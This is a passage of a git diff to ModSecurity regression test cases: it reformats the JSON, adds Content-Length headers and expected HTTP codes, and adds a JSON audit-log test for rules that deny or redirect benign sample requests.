\"@contains PHPSESSID\" \"id:1,tag:'teste %{REQUEST_HEADERS:Pragma}%',t:lowercase,t:none\"", "SecRule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" diff --git a/test/test-cases/regression/action-tnf-base64.json b/test/test-cases/regression/action-tnf-base64.json index 7cb047ce2f..5378e54f87 100644 --- a/test/test-cases/regression/action-tnf-base64.json +++ b/test/test-cases/regression/action-tnf-base64.json @@ -1,88 +1,92 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Transformatio :: base64 (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Transformatio :: base64 (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": "t:base64encode: \"dmFsdWUyCg==\"" + "expected": { + "debug_log": "t:base64encode: \"dmFsdWUy\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx .\" \"id:1,phase:2,t:base64encode,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Transformatio :: base64 (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Transformatio :: base64 (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "29", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=dmFsdWUy¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log": "t:base64decode: \"value2\"" + "expected": { + "debug_log": "t:base64decode: \"value2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx .\" \"id:1,phase:2,t:base64decode,pass,t:trim\"" ] diff --git a/test/test-cases/regression/action-xmlns.json b/test/test-cases/regression/action-xmlns.json index f85a1d2273..1d7d5acb09 100644 --- a/test/test-cases/regression/action-xmlns.json +++ b/test/test-cases/regression/action-xmlns.json @@ -1,107 +1,196 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing action :: XMLNS (parser error 1)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing action :: XMLNS (parser error 1)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "XMLS: Bad format, missing equals sign" }, - "rules":[ + "rules": [ "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:123,xmlns:soap'http://schemas.xmlsoap.org/soap/envelope/'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing action :: XMLNS (parser error 2)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing action :: XMLNS (parser error 2)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "XMLS: XMLNS is invalid. Expecting a name=value format." }, - "rules":[ + "rules": [ "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:123,xmlns:=\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing action :: XMLNS (parser error 3)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing action :: XMLNS (parser error 3)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, "parser_error": "XMLS: Missing xmlns href for prefix: `schemas.xmlsoap.org/soap/envelope/'." }, - "rules":[ + "rules": [ "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500008,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", "SecRule REQUEST_HEADERS:User-Agent \"^(.*)$\" \"id:123,xmlns:soap='schemas.xmlsoap.org/soap/envelope/'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing XML request body parser (validate ok)", - "expected":{ - "debug_log": "Target value: \"39.95\" \\(Variable: XML:\/bookstore\/book\/price\\[text\\(\\)\\]\\)" - }, - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + { + "enabled": 1, + "version_min": 300000, + "title": "Testing XML request body parser (validate ok)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "732" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", "", "", - "Everyday Italian", - "Giada De Laurentiis", - "2005", - "30.00", + "Everyday Italian", + "Giada De Laurentiis", + "2005", + "30.00", "", - "", - "Harry Potter", - "J K. Rowling", - "2005", - "29.99", + "Harry Potter", + "J K. Rowling", + "2005", + "29.99", "", - "", - "XQuery Kick Start", - "James McGovern", - "Per Bothner", - "Kurt Cagle", - "James Linn", - "Vaidyanathan Nagarajan", - "2003", - "49.99", + "XQuery Kick Start", + "James McGovern", + "Per Bothner", + "Kurt Cagle", + "James Linn", + "Vaidyanathan Nagarajan", + "2003", + "49.99", "", - "", - "Learning XML", - "Erik T. Ray", - "2003", - "39.95", + "Learning XML", + "Erik T. Ray", + "2003", + "39.95", "", "" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Target value: \"39.95\" \\(Variable: XML:/bookstore/book/price\\[text\\(\\)\\]\\)", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" ] } ] diff --git a/test/test-cases/regression/actions.json b/test/test-cases/regression/actions.json index c69f1a7cb0..c07a54e1c5 100644 --- a/test/test-cases/regression/actions.json +++ b/test/test-cases/regression/actions.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,33 +24,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 403 }, "rules": [ @@ -59,7 +60,7 @@ "SecRule ARGS \"@contains test\" \"id:1,t:trim,deny\"" ] }, - { + { "enabled": 1, "version_min": 300000, "version_max": 0, @@ -75,8 +76,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -84,33 +85,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 302, "redirect_url": "http://www.google.com" }, @@ -119,7 +121,7 @@ "SecRule ARGS \"@contains test\" \"id:1,t:trim,redirect:'http://www.google.com'\"" ] }, - { + { "enabled": 1, "version_min": 300000, "version_max": 0, @@ -135,8 +137,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -144,33 +146,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 306, "redirect_url": "http://www.google.com" }, @@ -179,7 +182,7 @@ "SecRule ARGS \"@contains test\" \"id:1,t:trim,status:306,redirect:'http://www.google.com'\"" ] }, - { + { "enabled": 1, "version_min": 300000, "version_max": 0, @@ -195,8 +198,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -204,33 +207,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 500 }, "rules": [ @@ -238,7 +242,7 @@ "SecRule ARGS \"@contains test\" \"id:1,t:trim,deny,status:500\"" ] }, - { + { "enabled": 1, "version_min": 300000, "version_max": 0, @@ -254,8 +258,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -263,33 +267,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 500 }, "rules": [ @@ -313,8 +318,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -322,33 +327,34 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 500 }, "rules": [ diff --git a/test/test-cases/regression/auditlog.json b/test/test-cases/regression/auditlog.json index 076860d2f6..f4d660987b 100644 --- a/test/test-cases/regression/auditlog.json +++ b/test/test-cases/regression/auditlog.json @@ -15,33 +15,35 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "plain\/text\n\r" + "Content-Type": "plain/text\n\r", + "Content-Length": "4" }, "body": [ "test" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 403 }, "rules": [ @@ -72,33 +74,35 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "plain\/text\n\r" + "Content-Type": "plain/text\n\r", + "Content-Length": "4" }, "body": [ "test" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 403 }, "rules": [ @@ -130,33 +134,35 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "plain\/text\n\r" + "Content-Type": "plain/text\n\r", + "Content-Length": "4" }, "body": [ "test" ] }, "expected": { - "audit_log": "", "debug_log": "\\[9\\] T \\(0\\) t:trim: \"test", - "error_log": "", "http_code": 403 }, "rules": [ @@ -172,6 +178,67 @@ "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" ] }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "auditlog : basic parser test - JSON", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "plain/text\n\r", + "Content-Length": "4" + }, + "body": [ + "test" + ] + }, + "expected": { + "audit_log": "{\"transaction\":{\"client_ip\":\"200.249.12.31\",\"time_stamp\":\"\\S{3} \\S{3} [ \\d]\\d \\d{2}:\\d{2}:\\d{2} \\d{4}\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@contains test\" \"id:1,t:trim,deny,auditlog\"", + "SecAuditEngine RelevantOnly", + "SecAuditLogFormat JSON", + "SecAuditLogParts ABCFHZ", + "SecAuditLogStorageDir /tmp/test", + "SecAuditLog /tmp/audit_test_parallel.log", + "SecAuditLogDirMode 0766", + "SecAuditLogFileMode 0600", + "SecAuditLogType Serial", + "SecAuditLogRelevantStatus \"^(?:5|4(?!04))\"" + ] + }, { "enabled": 1, "version_min": 300000, @@ -188,24 +255,34 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶m2=test2", + "uri": "/test.pl?param1=test¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "id \"1556", - "error_log": "", "http_code": 403 }, "rules": [ @@ -237,24 +314,34 @@ "request": { "headers": { "Host": "www.modsecurity.org", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive": "300", "Connection": "keep-alive", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶m2=tEst2", + "uri": "/test.pl?param1=test¶m2=tEst2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "\\[msg \"testmsg\"\\] \\[data \"testdata\"\\] \\[severity \"7\"\\] \\[ver \"\"\\] \\[maturity \"0\"\\] \\[accuracy \"0\"\\] \\[tag \"testtag1\"\\] \\[tag \"testtag2\"\\]", - "error_log": "", "http_code": 403 }, "rules": [ @@ -286,24 +373,34 @@ "request": { "headers": { "Host": 